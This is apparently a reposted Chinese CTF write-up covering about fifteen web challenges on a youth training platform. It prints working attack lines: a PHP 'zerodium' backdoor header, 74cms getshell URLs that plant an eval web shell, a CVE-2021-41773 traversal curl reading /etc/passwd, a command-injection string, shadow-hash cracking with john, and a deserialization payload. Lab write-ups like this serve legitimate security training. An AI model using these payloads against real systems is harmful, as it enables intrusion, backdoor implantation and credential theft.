青少年CTF训练平台-WEB-部分wp
这两天因为别人问了下题目.打开后,闲着没事,去做了两道题目。顺便发出来wp.
文章目录
Web签到
扫描发现备份文件
打开发现flag
easyupload
直接上传,然后获取flag
木马地址,通过扫描目录发现。
PHP的后门
直接添加请求头
user-agentt: zerodiumsystem(‘cat /flag’);
q1jun的小秘密
连接之后,查找具有suid
权限的命令
根据提示直接发现flag
提示说明没有中文
但是仍然错误,查看shadow,通过john破解密码
用户名后有$y,则表明密码已使用 yescrypt 进行哈希处理
指定format参数
john --format=crypt shadow
最后得到flag qsnctf{ikun_Do_Y0u_p1ay_b4sketba11}
新手的登录
使用提示的user账号登录之后
抓包修改cookie为admin。发包,得到flag
吃豆人
访问之后直接查看js文件,
发现base64编码,解码之后发现flag
F14G
抓包经过测试
验证请求头为: CF-Connecting-IP
参数为IP
这个规则比较重要.
所以我们直接发包即可
从0-255
然后提取flag
骑士CMS01
提示弱口令.访问后台
随便输入得到账号密码 为admin
/admin
查看版本发现是 74cms v 4.2.111
找到对应版本的POC
利用漏洞getshell
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',phpinfo(),'shell地址: /Application/Home/Conf/config.php
url: http://74cms.test/index.php?m=Admin&c=Tpl&a=set&tpl_dir= ', 'a',eval($_REQUEST[a]),'$_REQUEST[a]
获取flag
POST&GET
ezupload
审计代码,发现黑名单中没有 php
后缀.
没有其他校验方式.直接上传即可。
这是文件的路径.
$img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
可以爆破出来,关键在于 date的时区在上面已经定义。
date_default_timezone_set('America/Los_Angeles');
为了尽可能的减少请求的次数,
在本地同步模拟发包时间,减小范围
这是载荷
获取flag
帝国CMS01
扫描目录发现备份文件
本来以为在里面发现sql文件需要登录后台。
不过在后台目录下面发现shell文件/
直接访问
获取flag
帝国CMS02
扫描目录发现备份文件已经删除了。
尝试弱口令,
admin
/ 123465789
登录成功。
在首页发现flag
帝国CMS03
尝试弱口令,
admin
/ 123465789
登录成功。
尝试利用 7.5版本的 后台命令执行漏洞
创建名为shell.php.mod的文件在本地,内容如下
注意转义,否则会失败
"); ?>
在如下位置上传
获取flag
水文的一天
XX-API
任意文件读取漏洞
登陆后台
漏洞考察点: CVE_2021_41773
题目提示Apache
请求发现 apache版本为 2.4.49
找到CVE漏洞CVE-2021-41773
攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。
两种方法:
第一种curl请求
curl -v --path-as-is http://IP地址/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
第二种:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag HTTP/1.1Host: IP地址Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36Connection: close
浏览器直接访问url会失败
signin
绕过pathinfo,这里大小写可以绕过。
不过题目环境好像不解析大写PHP。
所以只能通过第二种方法:
在文件后面添加/.
进行绕过
获取flag
PingMe
命令执行
&cat flag.php
Web_unserialize
扫描目录发现备份文件
发现序列化代码
在nickname处可以进行数组绕过.所以我们构造的payload在 nickname处。
调用了update_profile()
函数
public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}
update
函数代码
public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}
filter
代码
public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
构造Payload
class b { public $phone = "12345678901"; public $email = "163@163.com"; public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"); public $photo = "config.php"; } $a=new b(); $profile = serialize($a); echo $profile; ?>
发送请求
解密base64
获取flag
来源地址:https://blog.csdn.net/qq_30817059/article/details/129963153
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341